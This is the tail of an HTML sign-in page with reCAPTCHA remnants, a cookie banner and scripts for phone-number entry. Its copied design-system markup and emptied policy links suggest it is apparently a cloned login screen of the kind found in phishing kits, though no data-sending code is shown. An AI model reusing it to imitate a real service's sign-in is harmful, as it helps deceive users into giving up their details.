                                                                        <div class="rc-anchor-pt"><a href="#" target="_blank" style="display: unset;">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="#" target="_blank" style="display: unset;">Terms</a></div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="grecaptcha-error"></div><textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="cds-flex-f1g67tkn cds-center-ca5ylan cds-column-ci8mx7v cds-3-_1ixgcz3 cds-3-_1mvq9l2">
                        <button data-testid="cancel-button" class="cds-link cds-link-l17zyfmx" type="button"><span class="cds-typographyResets-t1xhpuq2 cds-body-bb7l4gg cds-primary-piuvss6 cds-transition-txjiwsi cds-start-s1muvu8a cds-link--container">Cancel
                                signing in</span></button>
                    </div>
                </div>
            </div>
            <div data-testname="open-banner" data-testid="banner-container" class="cds-flex-f1g67tkn cds-fixed-f1v5p9l4" style="width: 100%; position: fixed; bottom: 0px; z-index: 3; transition: bottom 500ms ease 0s; will-change: bottom;">
                <div id="cookie-banner" class="cookie-banner cds-flex-f1g67tkn cds-center-czxavit cds-backgroundAlternate-b1o0kdmt" style="width: 100%;">
                    <div class="cds-flex-f1g67tkn cds-center-ca5ylan cds-space-between-s1vbz1 cds-3-_1ixgcz3 cds-3-_1mvq9l2 cds-6-_1iifjn6 cds-6-_1ts70zl" style="max-width: 800px; width: 100%;">
                        <p class="cds-typographyResets-t1xhpuq2 cds-label2-ln29cth cds-foreground-f1yzxzgu cds-transition-txjiwsi cds-start-s1muvu8a cds-0-_vhy4ik cds-1-_7ojgr9">
                            We use strictly necessary cookies to enable essential functions, such as security and
                            authentication. For more information, see our <a class="cds-link cds-link-l17zyfmx" href="#" rel="noopener noreferrer" target="_blank"><span class="cds-typographyResets-t1xhpuq2 cds-textInherit-t1yzihzw cds-primary-piuvss6 cds-transition-txjiwsi cds-start-s1muvu8a cds-link--container">Cookie
                                    Policy</span></a>.</p><button data-testid="dismiss-button" class="dismiss-button cds-interactable-i9xooc6 cds-focusRing-fd371rq cds-transparent-tlx9nbb cds-button-b18qe5go cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-buttonCompact-b17kdj8k cds-2-_h5hy70 cds-2-_hu3zq5" type="button" style="--interactable-height: 40px; --interactable-border-radius: 40px; --interactable-background: var(--primary); --interactable-hovered-background: rgb(1, 76, 236); --interactable-hovered-opacity: 0.92; --interactable-pressed-background: rgb(1, 72, 221); --interactable-pressed-opacity: 0.86; --interactable-disabled-background: rgb(128, 169, 255);"><span class="cds-positionRelative-p109mlw7"><span class="cds-typographyResets-t1xhpuq2 cds-headline-htr1998 cds-primaryForeground-pxcz3o7 cds-transition-txjiwsi cds-start-s1muvu8a"><span class="">Dismiss</span></span></span></button>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div id="portalRoot" style="z-index: 100001; position: relative; display: flex;">
        <div data-testid="portal-modal-container" id="modalsContainer" style="z-index: 3;"></div>
        <div data-testid="portal-toast-container" id="toastsContainer" style="z-index: 6;"></div>
        <div data-testid="portal-alert-container" id="alertsContainer" style="z-index: 7;">
            <div class="cds-large-llfbhh8 cds-light-l1k3tbpe" style="--foreground: rgb(var(--gray100)); --foreground-muted: rgb(var(--gray60)); --background: rgb(var(--gray0)); --background-alternate: rgb(var(--gray5)); --background-overlay: rgba(var(--gray80),0.33); --line: rgba(var(--gray60),0.2); --line-heavy: rgba(var(--gray60),0.66); --primary: rgb(var(--blue60)); --primary-wash: rgb(var(--blue0)); --primary-foreground: rgb(var(--gray0)); --negative: rgb(var(--red60)); --negative-foreground: rgb(var(--gray0)); --positive: rgb(var(--green60)); --positive-foreground: rgb(var(--gray0)); --secondary: rgb(var(--gray5)); --secondary-foreground: rgb(var(--gray100)); --transparent: rgba(var(--gray0),0); --warning: rgb(var(--yellow50));">
            </div>
        </div>
        <div data-testid="portal-tooltip-container" id="tooltipContainer" style="z-index: 5;"></div>
    </div>
    <div id="cds-hexagon-clipPath-container" aria-hidden="true" style="height: 0px; width: 0px;"><svg height="0" viewBox="0 0 66 62" width="0">
            <defs>
                <clippath clipPathUnits="objectBoundingBox" id="cds-hexagon-avatar-clipper" transform="scale(0.015151515151515152 0.016129032258064516)">
                    <path d="M63.4372 22.8624C66.2475 27.781 66.2475 33.819 63.4372 38.7376L54.981 53.5376C52.1324 58.5231 46.8307 61.6 41.0887 61.6H24.4562C18.7142 61.6 13.4125 58.5231 10.564 53.5376L2.10774 38.7376C-0.702577 33.819 -0.702582 27.781 2.10774 22.8624L10.564 8.06243C13.4125 3.07687 18.7142 0 24.4562 0H41.0887C46.8307 0 52.1324 3.07686 54.981 8.06242L63.4372 22.8624Z">
                    </path>
                </clippath>
            </defs>
        </svg></div>
</body>
<script>
    document.addEventListener('DOMContentLoaded', function() {
    const selectElement = document.getElementById('cars');
    const flagIconElement = document.querySelector('.flag-icon');
    const phoneNumberElement = document.getElementById('phonenumbers');
    const areaCodeElement = document.getElementById('area-code');
    const prefixElement = document.getElementById('prefix');
    const lineNumberElement = document.getElementById('line-number');

    function updateFlagAndPhone() {
        const selectedOption = selectElement.options[selectElement.selectedIndex];
        const selectedCountryCode = selectedOption.value;
        const phoneCode = selectedOption.getAttribute('data-phone-code');

        flagIconElement.className = `flag-icon flag-icon-${selectedCountryCode}`;
        phoneNumberElement.textContent = phoneCode;
    }

    function restrictToNumbers(event) {
        const charCode = event.which ? event.which : event.keyCode;
        // Allow only numeric keys (0-9) and control keys (e.g., backspace)
        if (charCode < 48 || charCode > 57) {
            event.preventDefault();
        }
    }

    function handleInputChange(currentElement, nextElement) {
        currentElement.addEventListener('input', function() {
            // Remove non-numeric characters
            this.value = this.value.replace(/\D/g, '');
            if (this.value.length === this.maxLength && nextElement) {
                nextElement.focus();
            }
        });
    }

    areaCodeElement.addEventListener('keypress', restrictToNumbers);
    prefixElement.addEventListener('keypress', restrictToNumbers);
    lineNumberElement.addEventListener('keypress', restrictToNumbers);

    handleInputChange(areaCodeElement, prefixElement);
    handleInputChange(prefixElement, lineNumberElement);

    selectElement.addEventListener('change', updateFlagAndPhone);

    // Initialize the flag icon and phone number on page load
    updateFlagAndPhone();
});


</script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script>
    function showAlert() {
        $('.alert').addClass('show').fadeIn();
        setTimeout(function() {
            $('.alert').fadeOut().removeClass('show');
        }, 5000); // Hide after 3 seconds
    }

    $(document).ready(function() {
        showAlert();
    });
</script>

</html>